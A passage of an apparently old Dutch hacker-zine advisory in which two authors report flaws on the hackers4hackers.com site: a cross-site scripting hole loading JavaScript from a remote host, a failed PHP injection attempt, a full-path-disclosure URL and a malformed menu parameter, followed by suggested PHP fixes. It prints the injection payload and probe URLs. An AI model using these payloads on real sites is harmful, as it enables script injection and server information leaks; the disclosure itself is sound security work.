en redeneren kwamen we er achter dat het uitvoeren van javascript
ook mogelijk is dmv:

<script src=http://remotehost/file.js></script>

Dit brengt natuurlijk het grote gevaar met zich mee. Met javascript
is het vast en zeker mogelijk evil scripts te maken die kunnen leiden
tot grote problemen.

Nu wij wisten dat het uitvoeren van javascript mogelijk was gingen we
proberen om PHP uit te voeren op de server.
Het is namelijk mogelijk PHP files aan te roepen binnen een pagina met
script tags, namelijk:

<script language="php">
echo("boe");
</script>

Dit werkte blijkbaar niet. Dit zou kunnen komen dat de pagina al geparsed
was en dus dit stukje niet mee parsde. Of de server deze manier van PHP
includen niet ondersteunde. Nog een mogelijkheid is dat de server de quotes
escaped en ze dus onschadelijk maakt. Maar wij sluiten niet uit dat het
niet op de een of andere manier mogelijk is om PHP uit te voeren op de server.

Verder vonden we nog een mogelijkheid om de volledige pathnames van
wat files te achterhalen door de volgende URL aan te vragen:

http://www.hackers4hackers.com/reader.php?h4h=0C&page=9999

Op de plaats van 9999 kan elk getal staan dat niet op de server bestaat.
Op deze manier wordt dus het volledige unix path zichtbaar, iets dat ook
niet al te bevordelijk is voor de security...

Verdere fouten:
---------------
Tot slot hadden we nog een klein slordigheidje ontdenkt dat naar ons weten
geen security gevaar oplevert.

http://www.hackers4hackers.com/?menu=<&page=1000

Bij het oproepen van deze pagina zal de pagina laden alleen zonder menu.
In plaats van het menu zal er staan ERROR. Dit is niet netjes en kan ook
zeker gefixed worden.


Oplossing:
----------
Van hackers 4 hackers zou je moeten verachten dat ze het zelf wel oplossen,
maar aangezien deze fouten er in zitten zal ik toch maar een oplossing voordragen.

Het CSS probleem kan net worden opgelost door de volgende code aan de scripts
toe te voegen:

if (htmlspecialchars($var) != $var)
die("Niet hacken boefje");

Verder is de ERROR in het menu te voorkomen door het volgende stukje code toe
te voegen aan de scripts.
(Dit werkt ook voor het CSS probleem maar is minder netjes vind ik zelf)

$allow = array(1000,2000,3000);
if (!in_array($var,$allow))
die("Niet hacken boefje");

Ook de pathname bug kan op deze manier opgelost worden.

Voot de cgi vuln. heb ik geen oplossing omdat ik geen cgi kan :P


Slot:
-----
Zow dat was hem weer, onze advisory. Doe er wat mee, en denk erom: goeie
security begint bij jezelf :)


Grtz from:

MrFreeze &
Nowhereman

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT